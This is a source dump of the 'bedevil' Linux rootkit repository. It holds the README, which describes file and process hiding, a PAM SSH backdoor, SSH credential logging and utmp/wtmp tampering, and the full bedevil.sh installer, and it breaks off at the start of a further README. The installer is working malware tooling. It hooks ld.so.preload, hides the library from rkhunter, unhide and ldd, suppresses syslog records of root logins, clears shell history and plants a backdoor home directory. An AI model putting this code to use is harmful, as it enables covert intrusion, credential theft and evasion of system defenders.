├── .ascii ├── README.md ├── bedevil.sh ├── etc ├── README ├── eutils.sh ├── plibdl.sh └── ssh.sh └── modules ├── backdoor └── pam │ ├── pam.h │ ├── pam_hooks.c │ ├── pam_private.h │ ├── pam_syslog.c │ └── pam_vprompt.c ├── bdvl_util ├── bdusr.c ├── cprocname.c ├── util.h ├── v_acc.c └── xor.c ├── dir ├── chdir.c ├── dir.h ├── mkdir.c ├── opendir.c ├── readdir.c └── rmdir.c ├── exec ├── exec.h ├── execve.c └── execvp.c ├── gid ├── gid.h ├── setegid.c ├── setgid.c ├── setregid.c └── setresgid.c ├── headers ├── rk_creds.h └── symbols.h ├── hiding ├── forge_maps.c ├── forge_procnet.c ├── hidegid.c ├── hiding.h ├── pcap │ ├── pcap.c │ └── pcap.h ├── ptrace.c ├── reinstall.c ├── socket.c └── syslog │ ├── syslog.c │ └── syslog.h ├── lib_hooks ├── libdl ├── dladdr.c ├── dlinfo.c ├── dlsym.c ├── gsym.c └── libdl.h ├── ln ├── links.h └── unlink.c ├── module_includes ├── open ├── access.c ├── fopen.c ├── open.c └── open.h ├── perms ├── chmod.c ├── chown.c └── perms.h ├── prehook.c ├── pwd ├── pwd.h ├── pwnam_ent.c └── pwnam_user.c ├── rw ├── fwrite.c ├── read.c ├── rw.h └── write.c ├── stat ├── fstat.c ├── lstat.c ├── stat.c └── stat.h ├── stconsts ├── std_includes └── utmp ├── getut.c ├── putut.c └── utmp.h /.ascii: -------------------------------------------------------------------------------- 1 | 2 | 3 | /$$ /$$ /$$ /$$ 4 | | $$ | $$ |__/| $$ 5 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$ 6 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| $$| $$ 7 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$ 8 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$ 9 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$ 10 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/ 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bedevil 2 | 3 | ###### Based on my other rootkit, [vlany](https://github.com/mempodippy/vlany) 4 | bedevil is designed to be more robust, faster and efficient than vlany. 5 |
6 | 7 | #### Aim of bedevil
8 | Ultimately my core aim is to tidy up the project (previously vlany), fix outstanding issues and organise previous chaos into a more manageable system. This makes it heaps easier on me when it comes to managing the rootkit.
9 | I also made an effort to minimalise the amount of dependencies required to install the kit on a machine.
10 |
11 | 12 | #### Mandatory 'module' files 13 | * [__std_includes__](https://github.com/naworkcaj/bdvl/blob/master/modules/std_includes): list of standard headers to include for the shared library
14 | * [__module_includes__](https://github.com/naworkcaj/bdvl/blob/master/modules/module_includes): list of custom headers to include
15 | * [__lib_hooks__](https://github.com/naworkcaj/bdvl/blob/master/modules/lib_hooks): a list of library symbols to hook, along with their respective library names
16 | * [__stconsts__](https://github.com/naworkcaj/bdvl/blob/master/modules/stconsts): 'static' background consts that the user doesn't really need to see
17 | * [__prehook.c__](https://github.com/naworkcaj/bdvl/blob/master/modules/prehook.c): a file containing the constructor and destructor code for the shared library 18 |
19 | 20 | #### bedevil.sh 21 | ``` 22 | $ ./bedevil.sh -h 23 | 24 | /$$ /$$ /$$ /$$ 25 | | $$ | $$ |__/| $$ 26 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$ 27 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| $$| $$ 28 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$ 29 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$ 30 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$ 31 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/ 32 | 33 | 34 | 35 | Usage: ./bedevil.sh [ -h | -v | -d | -f | -D | -c | -C | -i] 36 | -h: Show this help message and exit. 37 | -v: Toggle verbose output. 38 | -d: Populate rootkit headers with user data. 39 | -f: Toggle use of preconfigured settings file. 40 | You will be prompted for a file location during 41 | installation. This can be a local url or via http. 42 | -D: Install all potential required dependencies. 43 | -c: Compile rootkit library in current directory and exit. 44 | -C: Clean up installation/compilation mess and exit. 45 | -i: Launch full installation of bedevil. You will be 46 | prompted for input when needed. 47 | 48 | 49 | ``` 50 | ###### *Compile only (no installation):* `./bedevil.sh -dbc` (will compile the .so in the your cwd)
51 | P.S.:
The 'preconfigured settings file' is a way of transferring your previous settings without having to retype them out and whatnot.
52 | This doesn't actually work right now, so you may as well ignore it. 53 |
54 | 55 | ### Features 56 | #### File/process hiding: 57 | Processes and files are hidden using magic GIDs. Although the magic GID method is somewhat
58 | deprecated, it remains the fastest and the most simple. Not that it's bad, but people are highly
59 | aware of it now.
60 | 61 | #### Library presence hiding 62 | bedevil hides itself from any process map files. Reading /proc/$$/maps, /proc/$$/smaps, or 63 | /proc/$$/numa_maps when the kit is installed will make it seem apparent that there are no other potentially malicious libraries being loaded into userspace.
64 |
65 | Calling `ldd` on any dynamic binaries will not immediately reveal the location of the rootkit's shared library. Calling `ldd` as a regular user will throw a read/write error, and calling `ldd` as root user will grant us sufficient permissions to quickly uninstall and reinstall the rootkit after showing a 'clean' ldd output to the root user. Further fogging the location of the rootkit's library.
66 |
67 | #### User credential logging 68 | bedevil logs successful authentication attempts on the box it is installed on, but also will now log all outgoing ssh credentials. Successful authentications on the box are logged in your hidden directory, and logged outgoing ssh credentials are available in your hidden directory. 69 |
70 | 71 | #### Backdoor 72 | bedevil uses libpam as a backdoor surface to allow secure access over ssh.

73 | During installation you will supply your own choice of credentials that will allow you access to this backdoor.
74 | See [etc/ssh.sh](https://github.com/naworkcaj/bdvl/blob/master/etc/ssh.sh) on connecting with your hidden port.
75 | Upon connecting to the backdoor, you'll be shown more information that may prove useful. *([this](https://github.com/naworkcaj/bdvl/blob/master/etc/README))*
76 | #### [wtmp/utmp hooks](https://github.com/naworkcaj/bdvl/tree/master/modules/utmp) 77 | By hooking all of the responsible utmp & wtmp symbols, the backdoor user is more or less a phantom on any machine it's installed on. I say more or less because there is (as far as I know) at least one easy indication that the backdoor is present. However this only happens when the backdoor user is *still* logged in.

78 | This comment block explains more: 79 | ``` 80 | /* 81 | * These are the functions responsible for actually 82 | * writing data to the utmp & wtmp files. 83 | * 84 | * Now, I've prevented information from being written 85 | * to the wtmp file, but not the utmp file. 86 | * So calling strings on wtmp won't reveal anything, 87 | * but calling strings on utmp will show information. 88 | * But that's ONLY when using strings. 89 | * 90 | * See, there are functions in libc which handle 91 | * fetching entries from utmp, and it is those functions 92 | * that I have hooked. 93 | * 94 | * Essentially, I can't stop (well I can but not now) 95 | * information from being written to utmp, but I can prevent 96 | * said functions from even thinking that the information 97 | * is even there in the first place. 98 | * 99 | * utmp only stores information about the user's logged 100 | * in currently. Whereas wtmp is essentially a history of logins. 101 | * So this isn't even an issue unless you're logged into the 102 | * backdoor 24/7. 103 | */ 104 | ``` 105 | ###### *from utmp/[putut.c](https://github.com/naworkcaj/bdvl/blob/master/modules/utmp/putut.c)* 106 | 107 | #### Notes 108 | * `while true; do ldd /bin/echo; done` :< 109 | 110 | -------------------------------------------------------------------------------- /bedevil.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # default variables for certain settings. 4 | # these can/will be changed during setup. 5 | [ -z $MGID ] && MGID=$RANDOM 6 | [ -z $IDIR ] && IDIR="/lib/bedevil.$RANDOM" 7 | [ -z $BD_ENV ] && BD_ENV="`cat /dev/urandom | tr -dc 'A-Za-z' | fold -w 8 | head -n 1`" 8 | [ -z $LDSO_PRELOAD ] && LDSO_PRELOAD="/etc/ld.so.preload" 9 | [ -z $SSH_LOGS ] && SSH_LOGS="/lib/bedevil.$RANDOM" 10 | 11 | BDVLC="bdvl.c" 12 | BDVLSO="`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n1`.so" # shared object to create 13 | MDIR="modules" 14 | NEW_MDIR="${RANDOM}_$MDIR" 15 | LIBHOOKS="$NEW_MDIR/lib_hooks" 16 | PLATFORM="`uname -m`" 17 | 18 | CFILES=(".ascii" "etc/ssh.sh" "etc/eutils.sh" "etc/README") # local static files to copy over to the install dir 19 | declare -a array HOOKS=() # populated later... 20 | declare -a array HPROCS=("lsrootkit" "ldd" "unhide" "rkhunter" "chkproc" "chkdirs" "ltrace" "strace" "LD_AUDIT") # hide from these (proc names or env vars) 21 | 22 | clear # looks pretty (and there's now a considerable amount of output from this script) 23 | [ -f .ascii ] && printf "\e[1m\e[31m`cat .ascii`\e[0m\n" 24 | 25 | wecho() { printf " \e[33m[!]\e[0m $1\n"; } 26 | eecho() { printf " \e[31m[!]\e[0m $1\n"; } 27 | secho() { printf " \e[32m[+]\e[0m $1\n"; } 28 | necho() { printf " [..] $1\n"; } 29 | 30 | [ $(id -u) != 0 ] && { eecho "You do not have root privileges. Your actions are limited."; NOT_ROOT=1; } 31 | [ ! -e /proc ] && { eecho "/proc doesn't exist, exiting. May I suggest bailing?"; exit; } 32 | [ "$(cat /etc/ssh/sshd_config | grep 'UsePAM')" == "UsePAM yes" ] || echo "UsePAM yes" >> /etc/ssh/sshd_config 33 | 34 | if [ -f /etc/syslinux/config ]; then 35 | wecho "SELinux detected on this system." 36 | if [[ $(cat /etc/syslinux/config | grep "SELINUX=" | tail -n 1) == *"enforcing"* ]]; then 37 | wecho "SELinux is in enforcing mode. This may cause complications with bedevil." 38 | wecho "If you would like to, you may disable SELinux and continue." 39 | wecho "I will not disable SELinux for you, although I could." 40 | wecho "Disabling/removing SELinux presence on a box that's meant to have it" 41 | wecho "isn't very quiet to say the least, and keeping it enabled causes problems." 42 | wecho "If I were you, I'd avoid SELinux all together." 43 | fi 44 | fi 45 | 46 | HELPMSG=" 47 | Usage: $0 [ -h | -v | -d | -f | -D | -c | -C | -i ] 48 | -h: Show this help message and exit. 49 | -v: Toggle verbose output. 50 | -d: Populate rootkit headers with user data. 51 | -f: Toggle use of preconfigured settings file. 52 | You will be prompted for a file location during 53 | installation. This can be a local url or via http. 54 | -D: Install all potential required dependencies. 55 | -c: Compile rootkit library in current directory and exit. 56 | -C: Clean up installation/compilation mess and exit. 57 | -i: Launch full installation of bedevil. You will be 58 | prompted for input when needed. 59 | " 60 | 61 | show_help() { echo "$HELPMSG"; } 62 | verb() { [ $VERBOSE = 1 ] && printf "\e[6m$1\e[0m\n"; } 63 | 64 | asc() { printf '%d' "'$1"; } 65 | xenc() 66 | { 67 | local din=$1 68 | local ptr dout val1 69 | for (( ptr=0;ptr<${#din};ptr++ )); do 70 | val1=$(asc "${din:$ptr:1}") 71 | dout+=$(printf '\\\\x%02x' "$((val1 ^ 0xac))") 72 | done 73 | printf '%s' "$dout" 74 | } 75 | 76 | gcharstrb() 77 | { 78 | # $1 = libname 79 | # $2 = size of char array 80 | cl="`echo -n $1 | awk '{print toupper($0)}'`" 81 | echo "\n#define ${cl}_SIZE $2\nstatic char *${1}_calls[${cl}_SIZE] = {" 82 | } 83 | 84 | # builds the char string 85 | # bleh 86 | glibhooks() 87 | { 88 | [ ! -f $LIBHOOKS ] && LIBHOOKS="$MDIR/lib_hooks" # fallback to plain (unconfigured) modules dir 89 | lhc=("$(cat $LIBHOOKS)") 90 | clibchar="" 91 | for lhookd in $lhc; do 92 | verb "current hook line: $lhookd" 93 | IFS=':' read -a lhookc <<< "$lhookd" 94 | # lhookc[0] = name of lib 95 | # lhookc[1] = another list, this one of symbols 96 | clibname="${lhookc[0]}" 97 | chooks="${lhookc[1]}" 98 | IFS=',' read -a lhooks <<< "$chooks" 99 | verb "\$lhookc[0](lib)=$clibname,\$lhooks[*](hooks)=${lhooks[*]}" 100 | 101 | # setup const char for header 102 | clibchar+="`gcharstrb $clibname ${#lhooks[@]}`" 103 | for chook in ${lhooks[@]}; do 104 | HOOKS+=("$chook") 105 | clibchar+="\"`xenc $chook`\"," 106 | verb "\$chook=$chook" 107 | done 108 | clibchar="${clibchar::-1}};" 109 | verb "clibchar=$clibchar" 110 | done 111 | verb "\${HOOKS[*]}=${HOOKS[*]}" 112 | printf "$(ghookindexi ${HOOKS[@]})${clibchar}" 113 | } 114 | 115 | ghookindexi() 116 | { 117 | HOOKS=("$@") 118 | verb "\${HOOKS[*]}=${HOOKS[*]}" 119 | 120 | gcallschr="`gcharstrb "all" ${#HOOKS[@]}`" 121 | for chook in ${HOOKS[@]}; do 122 | gcallschr+="\"`xenc $chook`\"," 123 | done 124 | gcallschr="${gcallschr::-1}};\n" 125 | 126 | gcallschr+="`gcharstrb "hprocs" ${#HPROCS[@]}`" 127 | for cproc in ${HPROCS[@]}; do 128 | gcallschr+="\"`xenc $cproc`\"," 129 | done 130 | gcallschr="${gcallschr::-1}" 131 | gcallschr="${gcallschr//\\x/\\\\x}};\n" 132 | verb "gcallschr=$gcallschr" 133 | 134 | indx=0 135 | for chook in ${HOOKS[@]}; do 136 | gcallschr+="#define C`echo $chook | awk '{print toupper($0)}'` $indx\n" 137 | let "indx=$indx+1" 138 | done 139 | verb "last call=${HOOKS[(($indx-1))]}" 140 | printf "${gcallschr//\\x/\\\\\x}" 141 | } 142 | 143 | writechrs() 144 | { 145 | [ ! -d "$NEW_MDIR" ] && return 146 | necho "Building & writing C char arrays for the lib headers" 147 | local spefhooks="$(glibhooks)" 148 | printf "${spefhooks//\\x/\\\\x}\n#endif" >> $NEW_MDIR/headers/rk_creds.h 149 | } 150 | 151 | # see 'modules/stconsts' 152 | writesconsts() 153 | { 154 | local stconsts="`cat $NEW_MDIR/stconsts | grep -o '^[^#]*'`" 155 | local cconsts="" 156 | 157 | necho "Parsing stconsts" 158 | while read -r line; do # go line by line 159 | IFS=':' read -a pline <<< "$line" # seperate name and value on line 160 | cname=${pline[0]} # const name 161 | cval=${pline[1]} # const value 162 | [ $cval == $cname ] && cconsts+="#define $cname \"`xenc ${!cval}`\"\n" # reference variable in this script by the const value 163 | [ $cval != $cname ] && cconsts+="#define $cname \"`xenc $cval`\"\n" # we already have a suitable value, use that 164 | done <<< "$stconsts" 165 | 166 | printf "\n$cconsts\n" >> $NEW_MDIR/headers/rk_creds.h 167 | } 168 | 169 | # $1 = plaintext pwd 170 | guserpwd() 171 | { 172 | if [ ! -z "`which python3`" ]; then 173 | echo -n `python3 -c "import crypt;print(crypt.crypt('$1'))"` # python's crypt function generates a salt of 16 random chars 174 | return 175 | fi 176 | # as far as i know, most boxes that aren't ARM can use openssl's -6 algorithm below. 177 | echo -n $(openssl passwd -6 -salt `cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 16 | head -n1` $1) 178 | } 179 | 180 | # the config wizard will ask for variable input based on what placeholders are available. 181 | # if a placeholder appears to be a number, the wizard will ask for a number. 182 | # and if it's a string placeholder, it will ask for a string. fairly straight forward. 183 | # if no input is given, the default fallback is to set the variable to a random value. 184 | # all of the settings will be displayed to the user at the end of the function. 185 | start_config_wizard() 186 | { 187 | # use basic 'request & reply' system to communicate variables. less chance of things going wrong. 188 | 189 | # first we need to find what placeholders are available in our module directory. 190 | find_pholders 191 | 192 | # now that we know what placeholders are available, let's organise a list so we know exactly what placeholder we're 193 | # subbing a new variable for and when. 194 | # the user, you, will be the one creating the list, really. 195 | 196 | echo 197 | secho "Beginning the main user config wizard" 198 | necho "You may want to change a couple of the default input settings (username/password)," 199 | necho "but you can leave a majority of the settings as their defaults." 200 | echo 201 | 202 | for var in ${STR_VARS[*]}; do 203 | verb "'${FUNCNAME[0]}' - $var" 204 | unset REPLY 205 | RAND_VALUE="`cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 8 | head -n1`" 206 | [[ "$var" == *"IDIR"* ]] && RAND_VALUE=$IDIR 207 | [[ "$var" == *"BD_ENV"* ]] && RAND_VALUE=$BD_ENV 208 | [[ "$var" == *"SSH_LOGS"* ]] && RAND_VALUE=$SSH_LOGS 209 | 210 | read -p " [..] Variable input for ${var//\?} [$RAND_VALUE]: " 211 | if [ ! -z $REPLY ]; then 212 | if [[ "$var" == *"BD_PWD"* ]]; then 213 | PSETTINGS+="\"`xenc $(guserpwd $REPLY)`\":$var " 214 | continue 215 | fi 216 | 217 | PSETTINGS+="\"`xenc $REPLY`\":$var " 218 | [[ "$var" == *"IDIR"* ]] && eval IDIR="$REPLY" 219 | [[ "$var" == *"BD_ENV"* ]] && eval BD_ENV="$REPLY" 220 | [[ "$var" == *"SSH_LOGS"* ]] && eval SSH_LOGS="$REPLY" 221 | else 222 | if [[ "$var" == *"BD_PWD"* ]]; then 223 | PSETTINGS+="\"`xenc $(guserpwd $RAND_VALUE)`\":$var " 224 | continue 225 | fi 226 | PSETTINGS+="\"`xenc $RAND_VALUE`\":$var " 227 | fi 228 | done 229 | 230 | for var in ${INT_VARS[*]}; do 231 | verb "'${FUNCNAME[0]}' - $var" 232 | unset REPLY 233 | RAND_VALUE=`cat /dev/urandom | tr -dc '1-9' | fold -w 4 | head -n1` 234 | [[ "$var" == *"MGID"* ]] && { let "MGID %= 9999"; RAND_VALUE=$MGID; } 235 | 236 | read -p " [..] Variable input for ${var//\?} [$RAND_VALUE]: " 237 | if [ ! -z $REPLY ]; then 238 | PSETTINGS+="$REPLY:$var " 239 | [[ "$var" == *"MGID"* ]] && eval MGID=$REPLY 240 | else 241 | PSETTINGS+="$RAND_VALUE:$var " 242 | fi 243 | done 244 | 245 | SOPATH="$IDIR/$BDVLSO.$PLATFORM" 246 | secho "End of config wizard.\n" 247 | verb $PSETTINGS 248 | } 249 | 250 | gather_user_settings() 251 | { 252 | # the user has enabled the flag to use a file with predefined variables, prompt for the location of the file now. 253 | # file can be stored locally or through http. (i.e. http://google.com/my_bedevil_settings.txt) 254 | # each predefined variable should also have the respective placeholder next to it, separated by a colon. 255 | # i.e.: 256 | # my_bedevil_username:??UNAME?? 257 | # my_bedevil_password:??PWD?? 258 | if [ ! -z $PRECONF_SETTINGS ]; then 259 | necho "You have enabled the use of a preconfigured variable file." 260 | wecho "The file can be stored locally (in this directory) or on a http server." 261 | necho "i.e. 'my_bedevil_settings.txt' OR 'http://google.com/my_bedevil_settings.txt'" 262 | 263 | unset REPLY 264 | while [ -z $REPLY ]; do read -p " [..] Enter the location of the file: "; done 265 | 266 | if [[ "$REPLY" == *"http://"* ]]; then # if 'http://' in reply 267 | PSETTINGS="`wget -qO- $REPLY`" || { eecho "Could not download file."; exit; } 268 | else # if reply is just regular text 269 | [ ! -f $REPLY ] && { eecho "File '$REPLY' does not exist."; exit; } 270 | PSETTINGS="`cat $REPLY`" 271 | fi 272 | fi 273 | 274 | # PSETTINGS has not been created yet - the user is just using the regular method of configuration - begin the 'wizard' 275 | [ -z $PSETTINGS ] && start_config_wizard # once this function is complete, PSETTINGS will be created and it can then be parsed 276 | } 277 | 278 | c_includes() 279 | { 280 | _inc="`cat "$MDIR/std_includes" | grep -o '^[^#]*' && cat "$MDIR/module_includes" | grep -o '^[^#]*'`" 281 | while read -r line; do echo "#include $line"; done <<< "$_inc" 282 | } 283 | 284 | INT_VARS=() 285 | STR_VARS=() 286 | find_pholders() 287 | { 288 | necho "Finding variable placeholders" 289 | HDC=("$(find ./$MDIR/ -name '*.h' | xargs cat)") 290 | for w in $HDC; do 291 | CVAR=`echo $w | grep "??"` 292 | if [[ $CVAR == *"\""* ]]; then STR_VARS+=($CVAR); 293 | else INT_VARS+=($CVAR); fi 294 | done 295 | 296 | verb "'${FUNCNAME[0]}' - STR and INT var placeholders" 297 | verb "${STR_VARS[@]} ${INT_VARS[@]}" 298 | } 299 | 300 | # $1 = file location of current header. 301 | # we don't know what placeholders are in which files, but we do know what placeholders exist, so we can kinda just bruteforce our new stuff in. 302 | # there's probably a more efficient way of doing this, but unless we're looking at lots of headers we should be gucci. 303 | # this is done using $PSETTINGS. i.e.(a list of): NEW_VALUEX:??OLD_PLACEHOLDER?? 304 | overwrite_pholders() 305 | { 306 | CPHOLDER=$1 307 | IFS=' ' read -a PSETTING <<< "$PSETTINGS" # parse current placeholder setting 308 | for ps in ${PSETTING[@]}; do 309 | IFS=':' read -a cps <<< "$ps" 310 | cx=$(printf ''${cps[0]}'' ) 311 | verb "cps[0]=${cps[0]}" # new value 312 | verb "cps[1]=${cps[1]}" # old placeholder 313 | sed -i "s/${cps[1]}/${cx//x/'\\'\x}/g" $CPHOLDER # i don't know if this is proper but it works 314 | done 315 | } 316 | 317 | # only populate placeholders in new 'modules' directory. notify user the directory has been made with respective rootkit settings 318 | populate_new_pholders() 319 | { 320 | # if there is already a populated modules directory, ask the user if they want to overwrite it or not. 321 | # selecting no will abort the function. this seemed safe and practical to have. 322 | if [ -d $NEW_MDIR ]; then 323 | wecho "Directory $NEW_MDIR already exists." 324 | read -p "`wecho "Overwrite it? [y/N]: "`" -n 1 -r 325 | if [[ $REPLY =~ ^[Yy]$ ]]; then # they want to overwrite the populated directory 326 | echo 327 | wecho "Overwriting '$NEW_MDIR'" 328 | rm -rf $NEW_MDIR 329 | else 330 | echo 331 | secho "You did not want to overwrite '$NEW_MDIR'" 332 | secho "We will use the existing directory, with existing settings." 333 | return 334 | fi 335 | fi 336 | 337 | # copy module directory to new directory 338 | cp -r $MDIR/ $NEW_MDIR/ || { eecho "Couldn't copy module directory."; exit; } 339 | 340 | writechrs # write char arrays 341 | gather_user_settings 342 | writesconsts # write mandatory background consts 343 | 344 | necho "Overwriting variable placeholders with new settings" 345 | # now PSETTINGS definitely exists, we can start parsing it for variables and replacing old placeholders 346 | PHEADERS=("$(find ./$NEW_MDIR/ -name '*.h')") 347 | for h in $PHEADERS; do overwrite_pholders $h; done 348 | } 349 | 350 | cleanup_bdvl() 351 | { 352 | secho "Cleaning up local mess." 353 | [ -d $NEW_MDIR ] && rm -rf $NEW_MDIR 354 | [ -f $BDVLC ] && rm -f $BDVLC 355 | rm -f *.so.* 356 | } 357 | 358 | build_bdvlc() 359 | { 360 | [ ! -d $NEW_MDIR ] && { eecho "Failed to build $BDVLC - '$NEW_MDIR' does not exist."; exit; } 361 | [ -f $BDVLC ] && necho "$BDVLC exists already. It will be overwritten." 362 | local _BDVLC="#define _GNU_SOURCE 363 | `c_includes` 364 | `cat "$NEW_MDIR/prehook.c"`" 365 | echo "$_BDVLC" > $BDVLC 366 | } 367 | 368 | install_deps() 369 | { 370 | necho "Installing dependencies." 371 | if [ -f /usr/bin/yum ]; then 372 | yum install -y -q -e 0 gcc pam-devel newt libgcc.i686 glibc-devel.i686 glibc-devel libpcap libpcap-devel vim-common &>/dev/null 373 | elif [ -f /usr/bin/apt-get ]; then 374 | dpkg --add-architecture i386 &>/dev/null 375 | yes | apt-get update &>/dev/null 376 | apt-get --yes --force-yes install libpam-dev libpcap-dev gcc-multilib build-essential &>/dev/null 377 | [ ! -z "$(apt-cache search libpcap0.8-dev)" ] && apt-get --yes --force-yes install libpcap0.8-dev &>/dev/null 378 | grep -i ubuntu /proc/version &>/dev/null && rm -f /etc/init/plymouth* &>/dev/null 379 | elif [ -f /usr/bin/pacman ]; then 380 | pacman -Syy &>/dev/null 381 | pacman -S --noconfirm pam libpcap base-devel &>/dev/null 382 | fi 383 | } 384 | 385 | compile_bdvl() 386 | { 387 | [ ! -d "$NEW_MDIR" ] && { eecho "'$NEW_MDIR' does not exist. Have you populated your new headers?"; exit; } 388 | local WARNING_FLAGS="-Wall -Wno-comment -Wno-nonnull-compare" 389 | local OPTIMIZATION_FLAGS="-O0 -g0" 390 | local OPTIONS="-fomit-frame-pointer -fPIC" 391 | local LINKER_OPTIONS="-Wl,--build-id=none" 392 | local LINKER_FLAGS="-ldl -lcrypt" 393 | 394 | rm -rf *.so.* 395 | gcc -std=gnu99 $OPTIMIZATION_FLAGS $BDVLC $WARNING_FLAGS $OPTIONS -I$NEW_MDIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $BDVLSO.$PLATFORM 396 | gcc -m32 -std=gnu99 $OPTIMIZATION_FLAGS $BDVLC $WARNING_FLAGS $OPTIONS -I$NEW_MDIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $BDVLSO.i686 &>/dev/null 397 | strip $BDVLSO.$PLATFORM || { eecho "Couldn't strip library. Exiting."; exit; } 398 | strip $BDVLSO.i686 &>/dev/null 399 | 400 | secho "Shared library compiled." 401 | rm $BDVLC 402 | } 403 | 404 | # $1 = installation directory (home) 405 | setup_home() 406 | { 407 | echo '. .bashrc' > "$1/.profile" 408 | local LBASHRC="$1/.bashrc" 409 | mkdir $1/etc 410 | for f in ${CFILES[*]}; do cp $f $1/$f; done # copy array of 'important' static files 411 | local RBASHRC="tty -s || return 412 | [ ! -z \$TERM ] && export TERM=xterm 413 | unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND 414 | [ \$(id -u) != 0 ] && su root 415 | [ \$(id -u) != 0 ] && kill -9 \$\$ 416 | [ -f ~/etc/README ] && cat ~/etc/README | less && rm ~/etc/README 417 | 418 | clear 419 | [ -f ~/.ascii ] && printf \"\\e[1m\\e[31m\`cat ~/.ascii\`\\e[0m\\n\" 420 | 421 | export PATH=\"\$PATH:~/etc\" 422 | alias ls='ls --color=auto' 423 | alias ll='ls --color=auto -AlFhn' 424 | 425 | id; who 426 | [ ! -f ~/auth_logs ] && touch ~/auth_logs 427 | echo -e \"\\033[1mLogged accounts: \\033[1;31m\$(grep Username ~/auth_logs 2>/dev/null | wc -l)\\033[0m\" 428 | echo -e \"\\033[1mSSH logs: \\033[1;31m\$(cat ~/ssh_logs | wc -l)\\033[0m\"" 429 | echo "$RBASHRC" > $LBASHRC 430 | 431 | necho "Hiding rootkit files" 432 | touch $SSH_LOGS && chmod 777 $SSH_LOGS && ln -s $SSH_LOGS $1/ssh_logs 433 | chown 0:$MGID $LDSO_PRELOAD $SSH_LOGS $1 $1/* $1/.profile $1/.bashrc $1/.ascii 434 | 435 | necho "Attempting to fix systemd" 436 | if [ -d /etc/rsyslog.d ]; then 437 | echo 'if ($programname == "systemd" or $programname == "systemd-logind") and (($msg contains "New session" and $msg contains "of user root") or ($msg contains "session opened for user root by (uid=0)") or ($msg contains "Removed session") or ($msg contains "session closed for user root")) then stop'>/etc/rsyslog.d/bdvl_sysd.conf 438 | systemctl restart rsyslog 439 | secho "New systemd rules written." 440 | fi 441 | } 442 | 443 | install_bdvl() 444 | { 445 | [ ! -z $NOT_ROOT ] && { eecho "You cannot install bedevil without root privs. Exiting."; exit; } 446 | 447 | secho "Starting full installation!\n" 448 | 449 | wecho "Do you want to patch the dynamic linker?" 450 | necho "This essentially provides libdl a new ld.so.preload file location." 451 | wecho "If you are doing this, you need to do this now." 452 | 453 | read -p "`wecho "Patch libdl? [Y/n]: "`" -n 1 -r 454 | if [[ $REPLY =~ ^[Yy]$ ]]; then patch_libdl; 455 | else echo; necho "Not patching libdl."; fi 456 | 457 | read -p "`wecho "Install potential dependencies? [Y/n]: "`" -n 1 -r 458 | [[ $REPLY =~ ^[Yy]$ ]] && install_deps 459 | echo "" 460 | 461 | populate_new_pholders # this will check, for us, if $NEW_MDIR exists or not, and will make it 462 | 463 | necho "Compiling the rootkit shared library." 464 | build_bdvlc # builds bdvl.c so we can compile the SO 465 | compile_bdvl # after this, bdvl.so.* will now exist in the cwd 466 | 467 | export ${BD_ENV}=1 468 | 469 | # now we have to install the library and make sure it is present in ld.so.preload 470 | necho "Installing $BDVLSO to $SOPATH" 471 | rm -rf $IDIR/ 472 | mkdir -p $IDIR/ 473 | cp $BDVLSO.$PLATFORM $SOPATH 474 | cp $BDVLSO.i686 $IDIR/$BDVLSO.i686 2>/dev/null 475 | 476 | necho "Pointing $LDSO_PRELOAD to $SOPATH" 477 | [ -f "$LDSO_PRELOAD" ] && chattr -ia $LDSO_PRELOAD &>/dev/null 478 | echo -n $SOPATH > $LDSO_PRELOAD 479 | secho "Installation successful." 480 | cleanup_bdvl 481 | echo 482 | 483 | setup_home $IDIR 484 | secho "Your PAM backdoor is set up." 485 | secho "See 'etc/ssh.sh' on connecting with your hidden port." 486 | } 487 | 488 | patch_libdl() 489 | { 490 | necho "Patching dynamic linker libraries." 491 | LDSO_PRELOAD="$(etc/plibdl.sh $LDSO_PRELOAD)" # change the variable to the new preload file location 492 | secho "New ld.so.preload location: $LDSO_PRELOAD" 493 | } 494 | 495 | 496 | OPTIND=1 497 | VERBOSE=0 498 | 499 | while getopts "h?vdfpcCbiD" opt; do 500 | case "$opt" in 501 | h) 502 | show_help 503 | exit 504 | ;; 505 | v) 506 | secho "Running in verbose mode." 507 | VERBOSE=1 508 | ;; 509 | d) 510 | populate_new_pholders 511 | ;; 512 | f) 513 | PRECONF_SETTINGS=1 514 | ;; 515 | p) 516 | gather_user_settings 517 | echo $PSETTINGS > example_config 518 | exit 519 | ;; 520 | c) 521 | compile_bdvl 522 | ;; 523 | C) 524 | cleanup_bdvl 525 | exit 526 | ;; 527 | b) 528 | build_bdvlc 529 | ;; 530 | i) 531 | install_bdvl 532 | exit 533 | ;; 534 | D) 535 | install_deps 536 | exit 537 | ;; 538 | ?) 539 | show_help 540 | exit 541 | ;; 542 | esac 543 | done 544 | 545 | [ -z $1 ] && show_help 546 | -------------------------------------------------------------------------------- /etc/README: -------------------------------------------------------------------------------- 1 | 2 | 3 | /$$ /$$ /$$ /$$ 4 | | $$ | $$ |__/| $$ 5 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$ 6 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| 